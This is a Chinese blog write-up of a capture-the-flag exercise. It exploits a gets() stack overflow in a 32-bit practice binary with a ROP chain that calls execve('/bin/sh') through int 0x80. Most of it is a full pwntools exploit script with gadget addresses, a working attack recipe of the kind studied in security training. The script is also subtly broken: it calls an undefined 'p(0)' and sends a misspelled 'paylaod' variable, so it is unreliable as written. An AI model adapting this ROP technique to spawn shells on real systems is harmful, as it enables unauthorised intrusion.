ret2Syscall writeup

原创

Morphy_Amo 于 2021-12-14 21:24:30 发布 1166 收藏

分类专栏： pwn题 文章标签： 安全 pwn

本文链接：https://blog.csdn.net/Morphy_Amo/article/details/121940436

例题： ret2Syscall

查看安全策略

```
[*] '/root/ctf/Other/pwn/ret2syscall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

开启了NX enabled

查看字符串和方法

未发现可以利用直接或间接调用的system函数，但是发现了/bin/sh字符串

```
[0x08048d0a]> iz | grep /bin/sh
000 0x00076408 0x080be408   7   8 (.rodata) ascii /bin/sh
```

寻找溢出点

在main函数中发现危险函数`gets()`,分配的栈大小是`0x1c`

```
|           0x08048e8f      8d44241c       lea eax, dword [var_1ch]    ; .//rop.c:15
|           0x08048e93      890424         mov dword [esp], eax
|           0x08048e96      e8b5670000     call sym.gets
```

payload

当前无system，有/bin/sh，考虑通过系统调用int80的方式获取shell。

```
execve("/bin/sh", 0, 0);
```

构造这个过程需要用到eax，ebx，ecx，edx四个gadget和int 80中断

```
0x080e3f1e: pop eax; ret;

0x0806eb90      5a              pop edx
0x0806eb91      59              pop ecx
0x0806eb92      5b              pop ebx
```

```
0x0806eb93      c3              ret

0x0806f230: int 0x80; ret;
```

构造paylaod

```
payload = b'a' * (0x1c + 0x4)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p(0) + p(0) + p(binsh)
payload += p32(int80)
```

exp

```
from pwn import *

conn = process('./ret2syscall')

pop_eax = 0x080e3f1e
pop_edx_ecx_ebx = 0x0806eb90
int80 = 0x0806f230
binsh = 0x080be408

payload = b'a' * (0x1c + 0x4)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p(0) + p(0) + p(binsh)
payload += p32(int80)

conn.recvuntil(b'What do you plan to do?\n')
conn.sendline(paylaod)
conn.interactive()
```